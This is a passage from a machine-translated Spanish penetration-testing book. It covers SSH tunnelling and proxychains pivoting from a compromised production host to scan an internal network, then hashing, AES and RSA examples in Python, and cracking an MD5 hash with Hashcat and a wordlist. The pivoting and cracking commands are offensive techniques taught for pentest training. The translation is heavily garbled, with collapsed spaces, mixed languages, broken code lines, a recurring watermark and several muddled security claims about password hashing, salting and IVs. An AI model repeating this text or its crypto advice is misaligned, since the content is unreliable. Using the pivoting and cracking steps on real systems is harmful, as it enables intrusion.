conectado prod1.ecorp.local . a este host que sirve a la aplicación web de producción de ECorp (www.ecorp.com). Por lo tanto, el puerto 443 está abierto para TLS y el puerto 22 también para SSH (por lo que el administrador podrá administrar el host de forma remota). Otra característica que usará Elliott se llama cadenas proxy; esta funcionalidad le permitirá ejecutar cualquier herramienta (como Nmap) a través de proxies HTTP, SOCKS4 y SOCKS5. En el primer paso, Elliot creará un túnel SSH (reenvío de puerto remoto) entre Kali y el host de producción comprometido. En su shell conectado, Elliot ejecutará el siguiente comando: $ssh-R443:127.0.0.1:[email protected] Después de ejecutar el comando de túnel SSH, Kali VM de Elliot debe estar escuchando en el puerto 443. A continuación, Elliot creará el reenvío de puerto dinámico en el puerto 9050. En otras palabras, el puerto 9050 se utilizará para redirigir el tráfico al Canal de Telegram : @IRFaraExam Machine Translated by Google Túnel SSH (el nombre de usuario administrador SSH ya ha sido comprometido por Elliot en el servidor de producción): root@kali:~#ssh-D127.0.0.1:[email protected] Elliot ha utilizado el puerto 9050 porque es el número de puerto predeterminado para las cadenas de proxy SOCKS4 (de hecho, el número de puerto se utiliza para el proxy con la red Tor). Si utilizó otro número de puerto, tendría que modificar el archivo de configuración en /etc/ proxychains.conf :. root@kali:~#cat/etc/proxychains.conf #proxychains.confVER3.1 # # # Proxificador de túnel HTTP, SOCKS4, SOCKS5 con DNS. […] [ProxyList] #addproxyhere... #meanwile #defaultssetto"tor" calcetines4127.0.0.19050 Finalmente, ahora Elliot puede comenzar a ejecutar comandos en la zona de red de producción. Entonces, para escanear los hosts de producción usando Nmap, Elliot ejecutará el siguiente comando en su Kali VM: root@kali:~#proxychainsnmap-sn10.10.1.0/24 Resumen ¡Acaba de terminar otro gran capítulo de este libro! Este capítulo posterior a la explotación debería haberle brindado otra perspectiva de las técnicas de prueba de penetración. Recuerde que puede volcar las credenciales de un host de Windows (y también de un host de Linux) para usarlas en otro lugar. Después de eso, aprendió a usar el reenvío de puertos local, remoto y dinámico a través de SSH. En el capítulo siguiente, verá cómo descifrar hashes, incluido el hash NTLM. ¡Más divertido por venir! Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 13 Criptografía y craqueo de hash Uno de los mejores temas en el campo de la seguridad cibernética es el descifrado de contraseñas. Es un sentimiento especial de felicidad cuando obtiene una capa o descifra una contraseña (obtiene su valor de texto claro). Aprenderá mucho en este capítulo, así que prepárese para una larga. En este capítulo, aprenderá sobre lo siguiente: Conceptos básicos de la criptografía hash Cifrado hachís Conceptos básicos de la criptografía Desafortunadamente, la gente piensa que este es un tema complejo. La criptografía se ha utilizado durante miles de años para ocultar mensajes secretos. ¿Y adivina qué? Todavía se utiliza mucho en nuestra tecnología moderna. ¿Qué pasa con las técnicas de cifrado en nuestra era moderna? Bueno, encontrará la mayoría de ellas en este capítulo. Por lo tanto, si es un probador de penetración, necesita saber cómo piratear y aprovechar los cifrados débiles. ¿Y qué pasa con los expertos en seguridad de aplicaciones? Canal de Telegram : @IRFaraExam Machine Translated by Google la gente no debe usar cifrados débiles. Sería útil si los convenciera; ellos lo desafiarán y lo probarán. ¡No se preocupe! En las próximas secciones, veremos todas las partes prácticas del cifrado para que esté preparado para esta batalla. Conceptos básicos de hashing Los algoritmos hash confirman la integridad de los datos digitales. ¿Qué significa esto en la práctica? Suponga que acaba de descargar un archivo de Internet: ¿cómo se asegura de que el archivo de origen no haya sido alterado mientras se dirigía desde el origen al destino? Función hash unidireccional Escuchará mucho acerca de las funciones hash unidireccionales (o simplemente hashes) en su carrera como probador de penetración. Toman entradas como un correo electrónico, un archivo descargado o una contraseña, y luego generan un número a partir de la entrada. Generalmente, la salida es en hexadecimal usando algún tipo de algoritmo (por ejemplo, SHA256, MD5, etc.). Por ejemplo, el algoritmo hash SHA256 equivalente a Gu es el siguiente: 62128be42907c0866965a87657982a8e0e6ee410aeab02af667a05696384ceb5 Este es el algoritmo de una función hash unidireccional: h=alto x La salida h se denomina resumen o suma de comprobación. El H es el algoritmo hash (p. ej., SHA256). La x es el dato de entrada (basado en el ejemplo anterior, es Gus). En general (no siempre), el propósito de hash es agregar una huella digital a la pieza de datos intercambiada entre una fuente y un destino. Foranalgorithmtowork,thereareafewrequirements: El hashing se puede aplicar a cualquier bloque variable de datos de entrada. En otras palabras, la entrada puede ser cualquier cosa y no debe estar limitada. La salida hash debe tener una longitud fija independientemente del tamaño de entrada. Por lo tanto, la longitud de salida SHA-256 siempre es 256, ¡nada más! Para fines prácticos, la salida debe ser fácil de calcular. Canal de Telegram : @IRFaraExam Machine Translated by Google Además, los resultados de salida no deberían ser reversibles a su estado original; si tiene la h minúscula, que es la salida, no debería poder calcular x, que es la entrada. Finalmente, dos valores de entrada diferentes no deberían tener la misma salida (Hx ÿ Hy). Esto se llama resistencia a la colisión. HashingEscenarios Ahora, esta es la pregunta más importante: ¿dónde puede usar hashing? En términos prácticos, puede usar hashing para lo siguiente: Para generar una suma de verificación para un archivo. Al hacer esto, puede comparar la suma de verificación generada del archivo original antes de descargarlo, para compararla con la suma de verificación que genera después de la descarga. Para almacenar contraseñas en la base de datos. Esta técnica asegurará que no se almacenen contraseñas de texto sin cifrar en reposo. Para usar firmas digitales. Para capturar archivos infectados. Incluso los sistemas de detección de intrusos y los programas antivirus capturan hashes de archivos y comparan sus valores con definiciones de firma; esta técnica se utiliza para capturar archivos infectados. Algoritmos hash Hay muchos algoritmos de los que oirá hablar en su carrera. En esta sección, cubriremos los más populares para que pueda descifrarlos. Message Digest5 Message Digest versión 5 (MD5) es uno de los algoritmos hash comunes. Ha reemplazado a su predecesor MD4, que prácticamente ya no se usa porque no es un algoritmo seguro en absoluto. Precaución: ¡no utilice MD5 para almacenar contraseñas! Discutiremos algoritmos más seguros para almacenar contraseñas en las siguientes secciones de este capítulo. Esto no significa que MD5 no se pueda usar en todos. Muchas aplicaciones y sitios web todavía usan MD5 para verificar la integridad de los archivos. Canal de Telegram : @IRFaraExam Machine Translated by Google ejemplo. Usaremos Python para los ejemplos de criptografía en este capítulo y seguiremos los pasos que debe tener en cuenta para seguir con éxito los ejemplos. Primero, descargue la biblioteca criptográfica a su Kali Linux VM (o host) desde el siguiente enlace: /pypi.org/project/pycrypto/#files A continuación, abra la ventana de la terminal en su máquina virtual Kali y cambie su directorio al lugar donde se encuentran los archivos de instalación (después de descomprimir el archivo tar.gz comprimido). Para instalar el módulo de biblioteca, ejecute el siguiente comando (asegúrese de estar dentro del directorio extraído): root@kali:/opt/crypto/pycrypto-2.6.1#pythonsetup.pyinstall A continuación, abra su editor de texto favorito y escriba lo siguiente: #ImportarelmóduloCryptodesdeCrypto.HahimportMD5 #InstanciarlavariabledefunciónMD5 h=MD5.new() #Calculatethehash h.update(mensaje) #Imprimirelvalorhexadecimal printh.hexdigest () Guarde el archivo como md5_example.py andrunit: root@kali:~#pythonmd5_example.pyb10a8db164e0754105b7a99be72e3fe5 Let'stakeamomenttobreakdownthePythonsourcecode.InPython, que prependacommentwiththe # (thislineisnotexecuted) .Inthesecondline, que areimportingthecryptolibrarybytellingit (thePythoninterpreter) thatwewant tousetheMD5function.Then, hachís wedefinethemessagevariablethatwewantto (inotherwords, wewanttohashthemessage “Hola Mundo”). Afterthat, weinstantiatedtheMD5hashingvariable.Next, weusethe actualización functionto computethehashvalueofthemessagevariable.Finally, weprintthe128 ÿbit valor hash en hexadecimal. Usaremos el mismo concepto en las próximas secciones; si entendió cómo funciona este ejemplo, entonces los otros serán pan comido. Canal de Telegram : @IRFaraExam Machine Translated by Google SecureHashAlgorithm Al igual que MD5, el algoritmo de hash seguro (SHA) está lejos de hacer hash con un mejor mecanismo de seguridad. Ahora, hay varias versiones de SHA. Por ejemplo, la versión 0 de SHA es la primera, pero ya no se usa. SHA224 SHA256 SHA384 SHA512 Los números al final representan la longitud de salida del resumen. Por ejemplo, SHA224 genera 224 bits de salida. La organización NIST introdujo la versión 3 de SHA posteriormente, e incluye también varias subversiones: 224, 256, 384 y 512 bits. SHA3esconsideradoelalgoritmohashingmásseguroactualmente.Estecapítulofueescritoen2020,peroprob fromCrypto.HashimportSHA512 mensaje='HelloWorld' h=SHA512.new() h.update(mensaje) printh.hexdigest() Nuevamente, asegúrese de guardar el archivo (lo llamé sha_example.py ) y ejecútelo: root@kali:~#pythonsha_example.py2c74fd17edafd80e8447b0d46741ee243b7eb74dd2149a0ab1b9246fb303 Contraseñas Hashing El mejor método para proteger las contraseñas guardadas en reposo (en una base de datos, por ejemplo) se logra mediante hash. Cuando un nuevo usuario se registra por primera vez en un sitio web, el usuario elige una contraseña, ¿verdad? Canal de Telegram : @IRFaraExam Machine Translated by Google El código fuente del back-end utilizará un algoritmo hash seguro, como SHA256, para generar una salida hash antes de guardarla en la base de datos. Ahora la base de datos contiene una contraseña sin sentido y no reversible. Tenga en cuenta que incluso el propio administrador puede revelar la contraseña original. Probablemente se esté preguntando, ¿cómo se autenticará el usuario si la contraseña está codificada? La respuesta es simple: cuando este usuario intenta iniciar sesión con una contraseña, el algoritmo hash (SHA256, en este caso) se usa nuevamente para calcular la salida. Luego, esta salida se compara con la copia guardada en la base de datos. Si son iguales, entonces el usuario es autenticado. Protección de contraseñas con hash Para almacenar contraseñas de forma segura, debe seguir estas pautas: No utilice MD5 o SHA1 para almacenar contraseñas. Utilice SHA2 o SHA3, preferiblemente. Utilice la sal para mitigar los ataques de fuerza bruta contra contraseñas. Entonces, ¿qué está salando exactamente? ¿No se supone que el shinging debe ser seguro? Es seguro, pero hay otra pregunta para usted. ¿No se está preguntando por qué no menciona MD5 o SHA1? De hecho, todos están relacionados con un solo problema, que es adivinar contraseñas mediante el uso de ataques de fuerza bruta y diccionario. El algoritmo MD5 es rápido, mientras que SHA2 es más complicado y más lento. Por lo tanto, un ataque de fuerza bruta tardará más en adivinar una contraseña que use SHA2. Además, MD5 genera una salida de 128 bits en comparación con SHA256, que produce una salida de 256 bits. Cuanto más tiempo, mejor. Ahora llega el turno de la salazón. Una técnica de salazón se lleva a cabo agregando caracteres aleatorios a la contraseña antes de aplicar los algoritmos hash. He aquí un ejemplo: Antes, sin Salar Digamos que la contraseña es 12345 y la salida SHA256 es igual a ABFF56CC … inhex (esa no es la salida real, pero solo por el bien de esto ejemplo). Un hacker ya podría pregenerar un conjunto de palabras del diccionario y, por lo tanto, Canal de Telegram : @IRFaraExam Machine Translated by Google saber que ABFF56CC … es 12345 , ¡así que serás hackeado! Después con Salazón Ahora usemos la técnica de salado y comparemos la diferencia entre los dos: Salt+Password=ABC+12345= ABC12345 (aquí antepuse los caracteres ABC a la contraseña 12345). Entonces, en SHA256, es igual a FFFF55DD... en hexadecimal. Usando un prefijo salt de ABC, el atacante no podrá adivinar la contraseña porque la salida no puede asumirse usando ataques de diccionario. Aún mejor es si usa un valor salt diferente para cada contraseña. Mensaje basado en hashAuthenticatedCode El código autenticado de mensajes basado en hash (HMAC) es otro algoritmo de hash. Pero este especial requiere una clave secreta para usar antes de aplicar el hash. Lo bueno de este algoritmo es que ofrece integridad y autenticidad. HMAC usa MD5 o SHA1 como algoritmo hash; Entonces, ¿cómo funciona esto? Digamos que Tyrell, el remitente, quiere enviar un mensaje a Joanna. Tyrell puede usar un algoritmo hash como MD5 para hacer hash del mensaje para la integridad. Luego, usa una clave para calcular otro hash para lograr la parte de autenticidad. Por lo tanto, use el algoritmo HMA. Tyrell envía el mensaje a Joanna, y Joanna usa la misma clave secreta para calcular el hash original de Tyrell. Ahora, si los resultados de HMAC coinciden con el HMAC inicial generado por Tyrell, entonces podemos decir que el mensaje no fue alterado y auténtico al mismo tiempo. La autenticidad se debe a la clave compartida entre Joanna y Tyrell. Un concepto importante en HMAC es que el mensaje no está cifrado aquí, sino que permanece en texto sin cifrar, por lo que toda la idea es garantizar la integridad y autenticidad del mensaje de texto sin cifrar. Veamos cómo funciona en Python: FromCrypto.HashimportHMAC secret_key='fsociety' Canal de Telegram : @IRFaraExam Machine Translated by Google mensaje='ECorpis Hackeado.' h=HMAC.nuevo(secret_key) h.update(mensaje) printh.hexdigest() Aquí se ve cuando la unidad: root@kali:~#pythonhmac_example.py 4dc5e4bca6512cf3c64d19821eb17e2a Como de costumbre, importamos la biblioteca que queremos usar, que es HMAC en este ejemplo. A continuación, agregamos la variable para la clave secreta y la almacenamos en una variable. Después de eso, lo pasamos al objeto HMAC. Luego creamos el has de la variable de mensaje. De forma predeterminada, el algoritmo elegirá el HMAC-MD5. Finalmente, imprimimos la salida del resumen. Conceptos básicos del cifrado El cifrado se divide en dos categorías: simétrico y asimétrico. El cifrado simétrico utilizará una clave para cifrar y descifrar datos. Por otro lado, el cifrado asimétrico utilizará claves públicas y privadas únicas para cifrar y descifrar datos. En las siguientes secciones, cubriremos los algoritmos de cifrado con más detalle. Cifrado simétrico Este tipo de cifrado se usó por primera vez en los viejos tiempos antes de que se descubrieran las computadoras y todavía se usa mucho en nuestra era moderna. En resumen, para este tipo de encriptación, usará una clave secreta para encriptar datos de texto simple y luego usará la misma clave para desencriptar y revelar el texto en su estado original. AvanzadoCifradoEstándar Advanced Encryption Standard (AES) es el algoritmo seguro recomendado por NIST para el cifrado simétrico. En esta sección, descubrirá cómo funciona AES. Revisemos los desafíos que tenemos para el cifrado AES. La primera, la clave, debe tener una longitud fija, ya sea 128, 192 o 256 bits. En nuestro ejemplo (lo verá pronto en el código Python), usaremos 128 bits, pero puede experimentar con tamaños de clave más seguros. Canal de Telegram : @IRFaraExam Machine Translated by Google lo que nos asegurará que la longitud será de 128 bits. Otro desafío que tenemos es el vector de inicialización. No hablamos sobre el IV anteriormente, pero necesitará un cifrado asimétrico, y debe ser aleatorio. Si se está preguntando qué es IV, en una definición simple, considérelo como una segunda clave aleatoria. El problema era que el IV se reutilizaba en varias sesiones y un hacker podía olfatear la red inalámbrica y, después de algunos intentos, capturar el valor del IV; entonces un ataque de fuerza bruta revelaría la clave. ¡Espera! Todavía no hemos terminado; todavía tenemos algunos desafíos más. Recuerde, AES usa un tamaño de bloque de 128 bits para la entrada de texto claro. Por lo tanto, tenemos que separar nuestra entrada en fragmentos de 128 bits. Por último, usaremos el modo de cadena de bloques en AES; esta es la opción más popular y la que yo uso personalmente. (Si lo desea, siéntase libre de explorar más tipos; puede consultar la documentación de Python de la biblioteca criptográfica). #Importar módulo AES de Crypto.CipherimportAES #Importar módulo MD5 de Crypto.HashimportMD5 #ImportarmóduloRandom deCryptoimportRandom #Importbase64module importbase64 #Defineelnombre"AESCrypto"paranuestraclasedeobjetoAESCrypto: #Definir una función para que haya ingresado texto y devuelto un valor de resumen hexadecimal defmd5_hash(self,text): h=MD5.new() h.update(texto) returnh.hexdigest() #Esteeseliniciadordeobjetosdeclaseydefinirálaclave Canal de Telegram : @IRFaraExam Machine Translated by Google tamaño def__init__(self,key): #KeySizeis128bits self.key=self.md5_hash(key) #Definirlafunciónquecifraráuntextodefcrypt(self,cleartext): #El tamaño del bloque debe ser igual a 128 bits Block_Size=AES.block_size pad=lambdas:s+(Block_Size-len(s)%Block_Size)*chr (Block_Size-len(s)%Block_Size) cleartext_blocks=pad(texto claro) #CreateARandomIViv=Random.new().read(Block_Size) crypto=AES.new(self.key,AES.MODE_CBC,iv) returnbase64.b64encode(iv+crypto.encrypt(cleartext_blocks)) #Definir una función para descifrar un texto a su estado original defdecrypt(self,enctext): enctext=base64.b64decode(enctext) iv=enctext[:16] crypto=AES.new(self.key,AES.MODE_CBC,iv) #Unpadtheblocksbeforedecrypting unpad=lambdas:s[0:-ord(s[-1])] returnunpad(crypto.decrypt(enctext[16:])) #EstasecciónusaráelobjetoAESysusfunciones. print'Cifrandoelmensaje:HolaMundo.Usandolacontraseña/clave:contraseña123' print'---------------------------------------------------- -------------' aes=AESCrypto('contraseña123') encriptado=aes.encrypt('HelloWorld') print'Encrypted:'+encrypted decrypted=aes.decrypt(encrypted) print'Descifrado :'+descifrado Aquí se muestra cómo se ve cuando lo ejecuto: root@kali:~#Pythonaes_example.pyCifradodelmensaje:HolaMundo.Usandolacontraseña/ clave:contraseña123 Canal de Telegram : @IRFaraExam Machine Translated by Google ----------------------------------------Cifrado:/qfMVk7TA2DwgqNTFMifQCvV8jr4hcdNGy3vX9Zut0k= Descifrado: Hola Mundo Cifrado asimétrico El cifrado asimétrico es un invento fantástico en seguridad. Por ejemplo, le permite comunicarse de forma segura a través de Internet mediante SSL/ TLS . Muchos sistemas y protocolos utilizan este tipo de cifrado actualmente, como TLS, SSH, SFTP y muchos más. Entonces, ¿cómo ciframos los datos mediante el cifrado asimétrico? Veamos un ejemplo práctico. Elliot quiere enviar un correo electrónico a Darlene y quiere cifrar los datos mediante AES, que vimos en el módulo anterior. ¿Cómo puede enviarle la clave de manera segura y eficiente al mismo tiempo? En este caso, Elliot le pedirá a Darlene su clave pública y ella se la enviará a Elliot. Por lo tanto, Elliot cifrará el mensaje con una clave AES y enviará el mensaje cifrado a Darlene. Además, incluye una copia cifrada de la clave AES utilizando la clave pública de Darlene. Ahora es seguro enviar el mensaje. En este momento, Darlene recibirá el mensaje cifrado y la copia cifrada de la clave AES. Luego, usará su clave privada para descifrar y revelar la clave AES. Ahora, probablemente se esté preguntando por qué Elliot usa metodologías tanto simétricas como asimétricas para enviar un correo electrónico. ¿Por qué no usa solo las claves pública y privada para el cifrado? Usamos esto como un ejemplo a propósito porque muchos de los protocolos, como TLS, se basan en este flujo de trabajo. Recapitulemos lo que hemos aprendido sobre el cifrado asimétrico: La clave pública receptora cifra el contenido original. Canal de Telegram : @IRFaraExam Machine Translated by Google La clave privada del destinatario descifra el contenido cifrado. El algoritmo recomendado para este tipo de encriptación es RSA, y por razones de seguridad, actualmente se recomienda usar 2048 o 4096 bits. Otro desafío surgió con la tecnología más reciente de los dispositivos móviles. El hardware dentro de ellos no puede procesar el cálculo del algoritmo RSA rápidamente. El genio matemático surgió con otro enfoque llamado criptografía de curva elíptica (ECC), y hoy en día, se usa mucho en dispositivos de hardware lento. RivestShamirAdleman Rivest Shamir Adleman (RSA) es el algoritmo más popular usado en el cifrado asimétrico. Implementar RSA en Python es un ejercicio emocionante para aprender. Después de terminar esta lección, podrá hacerlo usted mismo. Antes de saltar al código fuente, analicemos la estructura de la aplicación que vamos a desarrollar (vea la figura 13.1). Figura 13.1 Herramienta RSA Primero, la herramienta generará una clave pública y una clave privada. Después de eso, guardaremos cada clave en un archivo separado y usaremos la extensión PEMe para cada una. Para el proceso de cifrado, la aplicación cargará primero el archivo de clave pública y Canal de Telegram : @IRFaraExam Machine Translated by Google recibir el texto sin cifrar para cifrar. En esta etapa, hemos cifrado la salida de texto. En el proceso de descifrado, cargaremos la clave privada del archivo que generamos anteriormente y proporcionaremos los datos cifrados que queremos descifrar. Finalmente, tenemos el valor de texto claro original descifrado. Saltemos al código fuente y comencemos a hacerlo en Python (siguiendo los mismos patrones que el anterior para AES): FromCrypto.PublicKeyimportRSA fromCrypto.CipherimportPKCS1_OAEP fromCryptoimportRandom fromCrypto.HashimportSHA256 importbase64 classCryptoRSA: PRIVATE_KEY_FILE="private_key.pem" PUBLIC_KEY_FILE="clave_pública.pem" def__init__(auto): volver def__save_file(self,contents,file_name): f=open(file_name,'w') f.write(contents) f.close() def__read_file(self,file_name): f=open(file_name,'r') contenidos=f.read() f.close() returncontents def__generar_aleatorio(uno mismo): volverRandom.nuevo().leer() defgenerate_keys(self): keys=RSA.generate(4096) private_key=keys.exportKey("PEM") public_key=keys.publickey().exportKey("PEM") self.__save_file(private_key,self.PRIVATE_KEY_FILE) self.__save_file (public_key,self.PUBLIC_KEY_FILE) print"Public&PrivateKeys;generadas y guardadas con éxito!" defencrypt(self,cleartext,public_keypath=Ninguno): if(public_keypath==Ninguno): Canal de Telegram : @IRFaraExam Machine Translated by Google public_keypath=self.PUBLIC_KEY_FILE public_key=RSA.importKey(self.__read_file(public_keypath)) cipher=PKCS1_OAEP.new(public_key) encrypted_data=cipher.encrypt(cleartext) returnbase64.b64encode(encrypted_data) defdecrypt(self,cipher_text,private_key_path=Ninguno): ifprivate_key_path==Ninguno: private_key_path=self.PRIVATE_KEY_FILE cipher_text=base64.b64decode(cipher_text) private_key=RSA.importKey(self.__read_file(private_key_path)) cipher=PKCS1_OAEP.new(private_key) returncipher.decrypt(cipher_text) +datos_cifrados #EnestasecciónllamamosalobjetoRSAysusfuncionalidadesCryptoRSA().generate_keys()crypted_data=Crypto +datos_descifrados Así es como se ve cuando estamos unidos en KaliLinux: root@kali:~#Pythonrsa_example.pyPublic&PrivateKeys; ¡generadas y guardadas con éxito! Cifrado:FuI+aoorcmI4OuZtapoT49ZAbyJpHEXIlGH4/oS0yj6qSPTMtQYJiT7rXNhqhDil8SghhdO0Y0YSbb Descifrado: Hola Mundo Descifrando secretos con Hashcat Whenitcomestocracking, Hashcatisthetoolofchoice.Thisapplicationis versatileandfast.Likeanytool, youcanalwaysusethehelpsectiontolookfor theoptionyou'retryingtoachieve.InKali, Hashcatisalreadypre instalado, de modo youdon'thavetoworryaboutthatpart.Intheexamplesofthissection, wewill useapowerfulcustomcrackingrigbuiltwithsixGPUcards.Cracking passwordsofflineneedsalotofcomputation.Still, we'relivinginanerawhere miningisbecomingpopular, andtheGPUpowerhelpsus, profesionales assecurity, togetallthesupportthatweneedtobuildpowerfulmachines. Canal de Telegram : @IRFaraExam Machine Translated by Google (Construir múltiples componentes de GPU utilizando elevadores PCIE que son tan fáciles de obtener en estos días en comparación con el pasado donde teníamos que instalar las tarjetas gráficas directamente en la placa base). El sitio oficial de Hashcat es hashcat.net/. BenchmarkPruebas El primer ejercicio que puede ejecutar con Hashcat es la prueba comparativa. En este ejemplo, usaremos esta herramienta para probar la velocidad de descifrado de hashes NTLM en la plataforma. Aunque estamos probando este comando en un host de Windows, puede aplicar el mismo principio en Kali: C:\Usuarios\Gus\Documentos\hashcat-6.1.1>hashcat.exe-m1000-w3-b hashcat(v6.1.1)iniciando en modo de referencia... CUDAAPI (CUDA11.1) ==================== *Dispositivo #1:GeForceRTX2070,6744/8192MB,36MCU *Dispositivo #2:GeForceRTX2070,6744/8192MB,36MCU *Dispositivo #3:GeForceRTX2070,6744/8192MB,36MCU *Dispositivo #4:GeForceRTX2070,6744/8192MB,36MCU *Dispositivo #5:GeForceRTX2070,6744/8192MB,36MCU *Dispositivo #6:GeForceRTX2070,6744/8192MB,36MCU OpenCLAPI(OpenCL1.2CUDA11.1.70)-Plataforma#1[NVIDIA Corporation] ================================================== ===================== *Dispositivo n.º 7: GeForceRTX2070, omitido *Dispositivo n.º 8: GeForceRTX2070, omitido *Dispositivo n.º 9: GeForceRTX2070, omitido *Dispositivo n.º 10: GeForceRTX2070, omitido *Dispositivo n.° 11: GeForceRTX2070, omitido *Dispositivo n.º 12: GeForceRTX2070, omitido Opciones relevantes de Benchmark: =========================== *--workload-profile=3 Modo hash: 1000-NTLM Velocidad.#1………:16644.7MH/s(72.14ms)@Accel:32Lazos:1024Thr:1024Vec:1 Velocidad.#2…………:17002.3MH/s(70.62ms)@Accel:32Lazos:1024Thr:1024Vec :1 Velocidad.#3………:16657.6MH/s(72.11ms)@Accel:32Bucles:1024Thr:1024Vec:1 Canal de Telegram : @IRFaraExam Machine Translated by Google Velocidad.#4………:16435.3MH/s(73.12ms)@Accel:32Bucles:1024Thr:1024 Ya: 1 Velocidad.#5………:16975.5MH/s(70.78ms)@Accel:32Bucles:1024Thr:1024Vec:1 Velocidad.#6………:16637.0MH/s(72.25ms)@Accel:32Bucles:1024Thr:1024Vec:1 Velocidad.#*………:100.4GH/s Comenzó:miéoct2114:44:382020 Detenido: miéoct2114:45:002020 De acuerdo con los resultados de salida, la velocidad total de las seis tarjetas gráficas combinadas es 100,4 GigaNTLMhashes por segundo. Ahora repasemos cada opción utilizada en El comando: ÿm1000 : la m representa el modo y 1000 es el código para NTLM. ÿw3 : La w significa carga de trabajo y 3 significa alto rendimiento (usted obtener más información sobre las cargas de trabajo en un momento). ÿb :Esto simplemente representa la prueba comparativa. Es posible que tenga dos preguntas que le vienen a la mente: ¿Cómo supimos que el número de modo NTLM es 1000? ¿Qué es el rendimiento de la carga de trabajo? La respuesta directa a ambas preguntas para usar el contenido de ayuda del hashcat mando: $hashcat--ayuda Para encontrar la lista de modos Hashcat, busque la sección [Hashmodes] . Tú encontrará todos los algoritmos admitidos que Hashcat puede descifrar (hay un montón de ellos!). Aquí hay una instantánea del comienzo de esta lista: -[Modos hash] - #|Nombre |Categoría = =====+============================================ ======+===================== 900|MD4 0|MD5 100|SHA1 1300|SHA2-224 1400|SHA2-256 |Hash sin procesar |Hash sin procesar |Hash sin procesar |Hash sin procesar |Hash sin procesar Canal de Telegram : @IRFaraExam Machine Translated by Google 10800|SHA2-3841700| SHA2-512[…] |Hash sin procesar |Hash sin procesar Puede visitar el siguiente enlace en el sitio web de Hashcat para visualizar todos los algoritmos soportados: hashcat.net/wiki/doku.php?id=ejemplo_hashes Para los perfiles de carga de trabajo, hicimos lo mismo. estamos utilizando un perfil de carga de trabajo de alto rendimiento. profileissetto2. Aquí hay una copia de los perfiles de carga de trabajo de la sección de ayuda de Hachís: -[Perfiles de carga de trabajo] - #|Rendimiento|Tiempo de ejecución|Consumo de energía|Impacto en el escritorio ===+=============+=========+======================= =============== 1|Bajo|2ms 2|Predeterminado|12ms 3|Alta|96ms 4|Pesadilla|480ms|Loco |Baja |Económico |Alto |Mínimo |Notable |No responde |Sin cabeza CrackingHashesinAcción En esta sección, aprenderá cómo usar Hashcat para comenzar a descifrar hashes. ejemplo, crackearemos un hash MD5 utilizando el modo de ataque de archivo de diccionario con el archivo rockyou.txt . Esto es lo que parece descifrar un hash MD5: C:\Usuarios\Gus\Documentos\hashcat-6.1.1>hashcat.exe-a0-m0-w3-o"C:\Usuarios\Gus\Documentos\Resultados agrietados.txt" "C:\Usuarios\Gus\Documentos\hashes.txt" "C:\Usuarios\Gus\Documentos\Contraseñas\rockyou\rockyou.txt" hashcat (v6.1.1) comenzando... […] Acercándose a la carga de trabajo del espacio clave final ajustada. Sesión……….:hashcat Estado………..:Agrietado Hash.Nombre……..:MD5 Hash.Objetivo……:42f749ade7f9e195bf475f37a44cafcb Hora.de.inicio…..:WedOct2115:40:052020(0secs) Tiempo.Estimado…: MiéOct2115:40:052020(0 segundos) Guess.Base…….:Archivo Canal de Telegram : @IRFaraExam Machine Translated by Google (C:\Usuarios\Gus\Documentos\Contraseñas\rockyou\rockyou.txt) Guess.Queue……:1/1(100.00%) Velocidad.#1………:0H/s(0.00ms)@Accel:1024Bucles:1Thr:64Vec:1 Velocidad.#2………:20174.4kH/s(3.28ms)@Accel:1024Bucles:1Thr:64 Ya: 1 Velocidad.#3………:0H/s(0.00ms)@Accel:1024Lazos:1Thr:64Vec:1 Velocidad.#4…………:0H/s(0.00ms)@Accel:1024Lazos:1Thr:64Vec:1 Velocidad.#5………:0H/s(0.00ms)@Accel:1024Lazos:1Thr:64Vec:1 Velocidad.#6…………:0H/s(0.00ms)@Accel:1024Lazos:1Thr:64Vec:1 Velocidad.#*………:20174.4kH/s Recuperado……..:1/1(100.00%) Progreso de resúmenes…………:6354326/14344384(44.30%) Rechazado………:0/6354326(0.00%) Punto.de.restauración….:0/14344384(0.00%) Restaurar.Sub.#1…:Sal:0Amplificador:0-0Iteración:0-1 Restaurar.Sub.#2…:Sal:0Amplificador:0-1Iteración:0-1 Restaurar.Sub.#3…:Sal:0Amplificador: 0-0Iteración:0-1 Restaurar.Sub.#4…:Sal:0Amplificador:0-1Iteración:0-1 Restaurar.Sub.#5…:Sal:0Amplificador:0-0Iteración:0-1 Restaurar.Sub.# 6…:Sal:0Amplificador:0-1Iteración:0-1 Candidatos.#1….:[Copiando] Candidatos.#2….:123456->158417 Candidatos.#3….:[Copiando] Candidatos.#4….:rayvins->lanardota2 Candidatos.#5….: [Copiando] Candidatos.#6….:15841530->rayvinz Hardware.Mon.#1..:Temp:38cFan:0%Util:0%Core:1410MHzMem:6801MHzBus:1 Hardware.Mon.#2..:Temp:38cFan: 0% Util:6% Núcleo:1410MHzMem:6801MHzBus:1 Hardware.Mon.#3..:Temp:39cVentilador:0%Util:6%Núcleo:1410MHz Mem:6801MHzBus:1 Hardware.Mon.#4..:Temp:56cFan:5%Util:1%Core:1845MHzMem:6801MHzBus:1 Hardware.Mon.#5..:Temp:40cFan:0%Util:0%Core:1410MHzMem:6801MHzBus :1 Hardware.Mon.#6..:Temp:37cFan:0%Util:6%Core:1410MHzMem:6801MHzBus:1 Comenzó:miéoct2115:39:512020 Detenido: miéoct2115:40:072020 Esta es la explicación de cada opción utilizada en el comando: ÿa0 : En esta opción, ÿa es el modo de ataque; cero significa que es un ataque basado en adicciones. Canal de Telegram : @IRFaraExam Machine Translated by Google ÿm0 : en esta opción, ÿm es el tipo hash; 0 es para el algoritmo MD5. ÿo : Este es el nombre del archivo de salida (la versión descifrada se guardará en este archivo). Además, tenga en cuenta que guardamos los hashes en el archivo hashes.txt . 42F749ADE7F9E195BF475F37A44CAFCB ¡Listo! Esteeselcontenidodeltextoclaroqueseguardaenelarchivo Resultados agrietados.txt : 42f749ade7f9e195bf475f37a44cafcb:Contraseña123 Modos de ataque Hay varias formas de descifrar secretos con Hashcat. Probablemente esté familiarizado con los ataques de fuerza bruta o los ataques de diccionario. En esta sección, se sorprenderá de cuántas formas puede descifrar hashes: Attackmode01(ÿa0): Directo/lista de palabras/diccionario Attackmode02(ÿa1): Combinador Attackmode03(ÿa3): Máscara/fuerza bruta Attackmode04(ÿa6): Híbrido=lista de palabras+máscara Attackmode05(ÿa7): Híbrido=máscara+lista de palabras Modo directo En este modo de ataque, puede usar el archivo del diccionario para hacer el trabajo. Se llama modo directo , pero a menudo lo escuchará llamado ataque de lista de palabras y ataque de diccionario (todos se refieren al mismo) . 